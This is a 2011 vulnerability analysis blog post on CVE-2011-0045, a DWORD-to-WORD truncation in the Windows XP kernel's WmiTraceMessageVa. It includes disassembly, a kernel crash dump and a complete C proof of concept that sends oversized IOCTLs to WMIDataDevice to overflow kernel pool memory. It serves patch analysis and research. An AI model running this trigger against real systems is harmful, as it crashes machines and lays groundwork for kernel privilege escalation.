Saturday, February 26, 2011

CVE-2011-0045: MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability

One of the fresh MS bulletins - MS11-011 patches 2 vulnerabilites:
  1. CVE-2010-4398 - public vulnerability, better known as EnableEUDC bug.
  2. CVE-2011-0045 - sold to ZDI, credits to std_logic.

Very interesting, that ZDI bought LPE vulnerability. It's first time, that ZDI bought not remote vulnerability!

Anyway, let's figure out, what actually have been patched.

After quick diff analysis, it's clear, that some variable must be less constant value 0x1FD0.








Here is some more friendly pseudo-C style diff.











So, problem located, let's see, how that variable used(cut from ntoskrnl.exe version 5.1.2600.5973):
.text:0046E8B3 loc_46E8B3:                             ; CODE XREF: WmiTraceMessageVa(x,x,x,x,x,x)+6B j
.text:0046E8B3                 mov     ebx, [ebp+arg_8]
.text:0046E8B6                 mov     eax, ebx
.text:0046E8B8                 and     eax, 2
.text:0046E8BB                 mov     [ebp+var_48], eax
.text:0046E8BE                 mov     edi, ebx
.text:0046E8C0                 and     edi, 1
.text:0046E8C3                 mov     [ebp+var_28], ebx
.text:0046E8C6                 and     [ebp+var_28], 4
.text:0046E8CA                 lea     eax, [edi+eax*2+2]
.text:0046E8CE                 mov     ecx, ebx
.text:0046E8D0                 and     cl, 18h
.text:0046E8D3                 neg     cl
.text:0046E8D5                 sbb     ecx, ecx
.text:0046E8D7                 and     ecx, 8
.text:0046E8DA                 lea     eax, [ecx+eax*4]
.text:0046E8DD                 mov     esi, ebx
.text:0046E8DF                 shr     esi, 2
.text:0046E8E2                 and     esi, 8
.text:0046E8E5                 add     esi, [ebp+var_28]
.text:0046E8E8                 add     esi, eax
.text:0046E8EA                 add     esi, [ebp+var_2C]
.text:0046E8ED                 mov     [ebp+var_60], esi


As we can see, first of all, value of some argument stores to ebx, after value of ebx copies to esi, and then there are some math operations: addition with some values.

.text:0046E97A                 push    eax
.text:0046E97B                 movzx   edx, si ; Integer truncation here!!!
.text:0046E97E                 call    @WmipReserveTraceBuffer@12 ; WmipReserveTraceBuffer(x,x,x)

Then, low word of esi registed is used as size to allocate pool memory.
And here is actually vulnerability - truncation DWORD to WORD!

In the end, there is inline memcpy:

.text:0046EA86                 mov     ecx, eax
.text:0046EA88                 mov     edi, ebx
.text:0046EA8A                 mov     edx, ecx
.text:0046EA8C                 shr     ecx, 2
.text:0046EA8F                 rep movsd
.text:0046EA91                 mov     ecx, edx
.text:0046EA93                 and     ecx, 3
.text:0046EA96                 rep movsb

Let's see, how we can achieve vulnerable code.














So, there are two ways:
  1. via NtTraceEvent Native API: NtTraceEvent -->     WmiTraceMessage --> WmiTraceMessageVa.
  2. via DeviceIoControl to WMIDataDevice: WmipIoControl --> WmiTraceUserMessage -->     WmiTraceMessage --> WmiTraceMessageVa.

I chose second way to trigger vulnerability.

*** Fatal System Error: 0x00000050
                       (0xE19A7000,0x00000001,0x80545A57,0x00000001)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows XP 2600 x86 compatible target at (Sat Feb 12 03:01:12.140 2011 (GMT+3)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
.................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

.....
Loading User Symbols
......
Loading unloaded module list


Use !analyze -v to get detailed debugging information.

BugCheck 50, {e19a7000, 1, 80545a57, 1}


Probably caused by : ntoskrnl.exe ( nt!WmiTraceMessageVa+25e )

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
804e3592 cc              int     3
kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e19a7000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 80545a57, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 00000001, (reserved)

Debugging Details:
------------------

WRITE_ADDRESS:  e19a7000 Paged pool

FAULTING_IP:
nt!WmiTraceMessageVa+25e
80545a57 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

MM_INTERNAL_CODE:  1

DEFAULT_BUCKET_ID:  INTEL_CPU_MICROCODE_ZERO

BUGCHECK_STR:  0x50

PROCESS_NAME:  WmiTraceMessage

TRAP_FRAME:  f704cad8 -- (.trap 0xfffffffff704cad8)
ErrCode = 00000002
eax=00010ff0 ebx=e19a505c ecx=00003c13 edx=00010ff0 esi=00522018 edi=e19a7000
eip=80545a57 esp=f704cb4c ebp=f704cbd4 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
nt!WmiTraceMessageVa+0x25e:
80545a57 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

LAST_CONTROL_TRANSFER:  from 80532747 to 804e3592

STACK_TEXT: 
f704c628 80532747 00000003 e19a7000 00000000 nt!RtlpBreakWithStatusInstruction
f704c674 8053321e 00000003 806ef03c c038669c nt!KiBugCheckDebugBreak+0x19
f704ca54 8053380e 00000050 e19a7000 00000001 nt!KeBugCheck2+0x574
f704ca74 805241a0 00000050 e19a7000 00000001 nt!KeBugCheckEx+0x1b
f704cac0 804e1718 00000001 e19a7000 00000000 nt!MmAccessFault+0x6f5
f704cac0 80545a57 00000001 e19a7000 00000000 nt!KiTrap0E+0xcc
f704cbd4 80545b0c 12340002 c0dec0de c0c0dede nt!WmiTraceMessageVa+0x25e
f704cbf4 8067b1c4 12340002 c0dec0de c0c0dede nt!WmiTraceMessage+0x1d
f704cc48 80605550 f704cd00 8058f044 81607318 nt!WmiTraceUserMessage+0x59
f704cc50 8058f044 81607318 00000001 00520048 nt!WmipFastIoDeviceControl+0x43
f704cd00 8058efd7 000007d8 00000000 00000000 nt!IopXxxControlFile+0x261
f704cd34 804de7ec 000007d8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f704cd34 7c90e4f4 000007d8 00000000 00000000 nt!KiFastCallEntry+0xf8
0012fe7c 7c90d26c 7c801675 000007d8 00000000 ntdll!KiFastSystemCallRet
0012fe80 7c801675 000007d8 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
0012fee0 004013dc 000007d8 002280a3 00520048 kernel32!DeviceIoControl+0xdd
0012ff64 004010ab 000007d8 01cbca47 00000001 WmiTraceMessageVa_poc!trigger+0x14c
0012ff78 0040186a 00000001 00342f38 00342f68 WmiTraceMessageVa_poc!main+0x4b
0012ffc0 7c817067 a85a2871 01cbca47 7ffde000 WmiTraceMessageVa_poc!__tmainCRTStartup+0xfb
0012fff0 00000000 004018c1 00000000 78746341 kernel32!BaseProcessStart+0x23


STACK_COMMAND:  kb

FOLLOWUP_IP:
nt!WmiTraceMessageVa+25e
80545a57 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

SYMBOL_STACK_INDEX:  6

SYMBOL_NAME:  nt!WmiTraceMessageVa+25e

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: nt

IMAGE_NAME:  ntoskrnl.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  48025eab

FAILURE_BUCKET_ID:  0x50_nt!WmiTraceMessageVa+25e

BUCKET_ID:  0x50_nt!WmiTraceMessageVa+25e

Followup: MachineOwner
---------

kd> dd 00522018
00522018  41414141 41414141 41414141 41414141
00522028  41414141 41414141 41414141 41414141
00522038  41414141 41414141 41414141 41414141
00522048  41414141 41414141 41414141 41414141
00522058  41414141 41414141 41414141 41414141
00522068  41414141 41414141 41414141 41414141
00522078  41414141 41414141 41414141 41414141
00522088  41414141 41414141 41414141 41414141

By the way, interesting fact, that vulnerable is only Windows XP.
I digged a little in WRK(Windows 2003), and figure out what's magic constant 0x1FD0 represent (taken from wrk-v1.2\base\ntos\wmi\traceapi.c):

                if ((elemBytes = va_arg (ap, SIZE_T)) > 0) {
                    if (elemBytes > (TRACE_MESSAGE_MAXIMUM_SIZE - sizeof(MESSAGE_TRACE_USER))) {
#if DBG
     RefCount =
#endif
                         WmipDereferenceLogger(LoggerId);
                         TraceDebug((4, "WmiTraceMessage: elemBytes too big %x %d %d->%d\n",
                                   STATUS_INVALID_BUFFER_SIZE,
                                   LoggerId,
                                   RefCount + 1,
                                   RefCount));
                         return STATUS_INVALID_BUFFER_SIZE;
                    }

                   dataBytes += elemBytes;
                }  

Let's see definition of TRACE_MESSAGE_MAXIMUM_SIZE (taken from wrk-v1.2\public\sdk\inc\evntrace.h):

#define TRACE_MESSAGE_MAXIMUM_SIZE  8*1024      // the maximum size allowed for a single trace message
                                                // longer messages will return ERROR_BUFFER_OVERFLOW
                                               

And of MESSAGE_TRACE_USER (taken from wrk-v1.2\public\internal\base\inc\ntwmi.h):

//
// Structure used to pass user log messages to the kernel
//
typedef struct _MESSAGE_TRACE_USER {
    MESSAGE_TRACE_HEADER    MessageHeader ;
    ULONG                   MessageFlags  ;
    ULONG64                 LoggerHandle ;
    GUID                    MessageGuid ;
    ULONG                   DataSize ;
    UCHAR                   Data ;
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;

So 0x2000 - sizeof(MESSAGE_TRACE_USER) is 0x1FD0.
MS simply ported not vulnerable code from 5.2(2003) kernel to 5.1(XP)!

Here is lame (works under Administrator account) proof of concept:
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>




#define WmiTraceMessageCode  40
#define WmiCreateUMLogger  84
#define WmiStartLoggerCode 32

#define IOCTL_WMI_TRACE_MESSAGE \
          CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode, METHOD_NEITHER, FILE_WRITE_ACCESS)

/*
#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

#define IOCTL_WMI_TRACE_MESSAGE \
          CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode, METHOD_NEITHER, FILE_WRITE_ACCESS)

#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN, WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS)

#define IOCTL_WMI_START_LOGGER \
          CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode, METHOD_BUFFERED, FILE_ANY_ACCESS)



typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;

typedef struct _STRING64 {
    USHORT   Length;
    USHORT   MaximumLength;
    ULONGLONG  Buffer;
} STRING64;
typedef STRING64 *PSTRING64;

typedef STRING64 UNICODE_STRING64;
typedef UNICODE_STRING64 *PUNICODE_STRING64;


//
// WNODE definition
typedef struct _WNODE_HEADER
{
    ULONG BufferSize;        // Size of entire buffer inclusive of this ULONG
    ULONG ProviderId;    // Provider Id of driver returning this buffer
    union
    {
        ULONG64 HistoricalContext;  // Logger use
        struct
            {
            ULONG Version;           // Reserved
            ULONG Linkage;           // Linkage field reserved for WMI
        };
    };

    union
    {
        ULONG CountLost;         // Reserved
        HANDLE KernelHandle;     // Kernel handle for data block
        LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns
                                 // since 1/1/1601
    };
    GUID Guid;                  // Guid for data block returned with results
    ULONG ClientContext;
    ULONG Flags;             // Flags, see below
} WNODE_HEADER, *PWNODE_HEADER;

//
// Logger configuration and running statistics. This structure is used
// by WMI.DLL to convert to UNICODE_STRING
//
// begin_wmikm
typedef struct _WMI_LOGGER_INFORMATION {
    WNODE_HEADER Wnode;       // Had to do this since wmium.h comes later
//
// data provider by caller
    ULONG BufferSize;                   // buffer size for logging (in kbytes)
    ULONG MinimumBuffers;               // minimum to preallocate
    ULONG MaximumBuffers;               // maximum buffers allowed
    ULONG MaximumFileSize;              // maximum logfile size (in MBytes)
    ULONG LogFileMode;                  // sequential, circular
    ULONG FlushTimer;                   // buffer flush timer, in seconds
    ULONG EnableFlags;                  // trace enable flags
    LONG  AgeLimit;                     // aging decay time, in minutes
    ULONG Wow;                          // TRUE if the logger started under WOW64
    union {
        HANDLE  LogFileHandle;          // handle to logfile
        ULONG64 LogFileHandle64;
    };

// data returned to caller
// end_wmikm
    union {
// begin_wmikm
        ULONG NumberOfBuffers;          // no of buffers in use
// end_wmikm
        ULONG InstanceCount;            // Number of Provider Instances
    };
    union {
// begin_wmikm
        ULONG FreeBuffers;              // no of buffers free
// end_wmikm
        ULONG InstanceId;               // Current Provider's Id for UmLogger
    };
    union {
// begin_wmikm
        ULONG EventsLost;               // event records lost
// end_wmikm
        ULONG NumberOfProcessors;       // Passed on to UmLogger
    };
// begin_wmikm
    ULONG BuffersWritten;               // no of buffers written to file
    ULONG LogBuffersLost;               // no of logfile write failures
    ULONG RealTimeBuffersLost;          // no of rt delivery failures
    union {
        HANDLE  LoggerThreadId;         // thread id of Logger
        ULONG64 LoggerThreadId64;       // thread is of Logger
    };
    union {
        UNICODE_STRING LogFileName;     // used only in WIN64
        UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32
    };

// mandatory data provided by caller
    union {
        UNICODE_STRING LoggerName;      // Logger instance name in WIN64
        UNICODE_STRING64 LoggerName64;  // Logger Instance name in WIN32
    };

// private
    union {
        PVOID   Checksum;
        ULONG64 Checksum64;
    };
    union {
        PVOID   LoggerExtension;
        ULONG64 LoggerExtension64;
    };
} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION;

*/

typedef struct _WMI_TRACE_MESSAGE_PACKET {  // must be ULONG!!
    USHORT  MessageNumber;                  // The message Number, index of messages by GUID
                                            // Or ComponentID
    USHORT  OptionFlags ;                   // Flags associated with the message
} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET;

typedef struct _MESSAGE_TRACE_HEADER {
    union {
        ULONG       Marker;
        struct {
            USHORT  Size;                           // Total Size of the message including header
            UCHAR   Reserved;               // Unused and reserved
            UCHAR   Version;                // The message structure type (TRACE_MESSAGE_FLAG)
        };
    };
    union {
        ULONG            Header;            // both sizes must be the same!
        WMI_TRACE_MESSAGE_PACKET Packet;
    };
} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER;

typedef struct _MESSAGE_TRACE {
    MESSAGE_TRACE_HEADER    MessageHeader ;
    UCHAR                   Data ;
} MESSAGE_TRACE, *PMESSAGE_TRACE ;

//
// Structure used to pass user log messages to the kernel
//
typedef struct _MESSAGE_TRACE_USER {
    MESSAGE_TRACE_HEADER    MessageHeader ;
    ULONG                   MessageFlags  ;
    ULONG64                 LoggerHandle ;
    GUID                    MessageGuid ;
    ULONG                   DataSize ;
    UCHAR                   Data ;
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;

/*


typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

typedef union
{
    HANDLE  Handle;
    ULONG64 Handle64;
    ULONG32 Handle32;
} HANDLE3264, *PHANDLE3264;

typedef struct
{
    IN  POBJECT_ATTRIBUTES ObjectAttributes;
    IN  GUID ControlGuid;
    OUT HANDLE3264 ReplyHandle;
    OUT ULONG ReplyCount;
} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER;

*/

//#define LOGFILE_PATH L"<FULLPATHTOLOGFILE.etl>"
#define LOGFILE_PATH L"test.etl"
//#define LOGSESSION_NAME L"My Event Trace Session"
#define LOGSESSION_NAME L"test"

// GUID that identifies your trace session.
// Remember to create your own session GUID.

// {94BE0BF2-885F-4972-8461-A7D83B53F1AD}
static const GUID SessionGuid =
{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53, 0xf1, 0xad } };

// GUID that identifies the provider that you want
// to enable to your session.

// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3}
static const GUID ProviderGuid =
{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6, 0x3b, 0xb3 } };

int trigger(HANDLE hDevice);
int start_usermode_logger(HANDLE hDevice);
int start_logger(HANDLE hDevice);
HANDLE open_device();

int main(int argc, char **argv)
{
    HANDLE hDevice;
    if((hDevice = open_device()) == INVALID_HANDLE_VALUE){
        printf("open_device failed!\n");
        return 0;
    }
   
    if(!start_usermode_logger(hDevice)){
        printf("start_usermode_logger failed!\n");
        return 0;
    }
   
    /*
    if(!start_logger(hDevice)){
        printf("start_logger failed!\n");
        return 0;
    }
    */
    trigger(hDevice);
    return 0;
}

HANDLE open_device()
{
    char deviceName[] = "\\\\.\\WMIDataDevice";
    HANDLE hDevice;
    if ( (hDevice = CreateFileA(deviceName,
                          GENERIC_READ|GENERIC_WRITE,
                          //0,
                          0,
                          0,
                          OPEN_EXISTING,
                          0,
                          NULL) ) != INVALID_HANDLE_VALUE )
    {
        printf("Device  succesfully opened!\n");
        return hDevice;
    }
    else
    {
        printf("Error: Error opening device at NULL premission\n");
        return INVALID_HANDLE_VALUE;
    }
}

int start_usermode_logger(HANDLE hDevice)
{
    ULONG status = ERROR_SUCCESS;
    TRACEHANDLE SessionHandle = 0;
    EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
    ULONG BufferSize = 0;
    BOOL TraceOn = TRUE;

    // Allocate memory for the session properties. The memory must
    // be large enough to include the log file name and session name,
    // which get appended to the end of the session properties structure.
   
    BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
    pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize);   
    if (NULL == pSessionProperties)
    {
        wprintf(L"Unable to allocate %d bytes for properties structure.\n", BufferSize);
        return 0;
    }
   
    // Set the session properties. You only append the log file name
    // to the properties structure; the StartTrace function appends
    // the session name for you.

    ZeroMemory(pSessionProperties, BufferSize);
    pSessionProperties->Wnode.BufferSize = BufferSize;
    pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
    pSessionProperties->Wnode.Guid = SessionGuid;
    pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR | EVENT_TRACE_USE_PAGED_MEMORY;
    pSessionProperties->MaximumFileSize = 5;  // 5 MB
    pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
    pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
    StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

    // Create the trace session.

    status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties);
    if (ERROR_SUCCESS != status)
    {
        wprintf(L"StartTrace() failed with %lu\n", status);
        return 0;
    }

    // Enable the providers that you want to log events to your session.

    status = EnableTrace(
        TraceOn,                 // TRUE enables the provider
        0,                       // No enable flags
        TRACE_LEVEL_INFORMATION, // Enable informational, warning, error and critical events
        (LPCGUID)&ProviderGuid,  // Provider to enable
        SessionHandle            // Session handle from StartTrace
        );

    if (ERROR_SUCCESS != status)
    {
        wprintf(L"EnableTrace() failed with %lu\n", status);
        TraceOn = FALSE;
        return 0;
    }

    wprintf(L"Run the provider application. Then hit any key to stop the session.\n");
    return 1;
}

int trigger(HANDLE hDevice)
{

    DWORD    cb, inlen, outlen;
    char        *buff, *buff_out = NULL;

    DWORD result = 0;
    unsigned char str[] = "fuckdata";

    MESSAGE_TRACE_USER Message;

    Message.MessageHeader.Marker = 0xBEBEBEBE;
    Message.MessageHeader.Header = 0xEFEFEFEF;

    Message.MessageFlags = 0xC0C0DEDE;

    //Message.LoggerHandle = 0xC0DEC0DEDEADDEAD;
    //Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in 1 < n < 40
    Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1 < n < 40

    Message.MessageGuid.Data1 = 0xC0DEDEAD;
    Message.MessageGuid.Data2 = 0xDEC0;
    Message.MessageGuid.Data3 = 0xDEDE;
    memcpy(Message.MessageGuid.Data4, str, 8);

    //Message.DataSize = 0xDEADBEEF;
    //Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0
    Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0
    Message.Data = '0';

    //DWORD ioctl = 0x2280A3;

    buff_out = (char*)malloc(0x2000);
    if(!buff_out){
      printf("malloc failed");
      return 0;
    }
    memset(buff_out, 0x0, 0x2000);

    cb = 0;
    buff = (char*)malloc(0x20000);
    if(!buff){
      printf("malloc failed");
      return 0;
    }
    memset(buff, 'A', 0x20000-1);



    outlen = 0x0;
    inlen = 0x15000;

    memcpy(buff, &Message, 0x30);
    //result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE, (LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
    for(int i =0; i< 0x40; i++){
        Message.LoggerHandle++;
        memset(buff, 'A', 0x20000-1);
        memcpy(buff, &Message, 0x30);

        result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE, (LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
        printf("ioctl = 0x%08X, id = %d, result = %d\n", IOCTL_WMI_TRACE_MESSAGE, i, result);
    }   
    printf("done!");
    free(buff);
}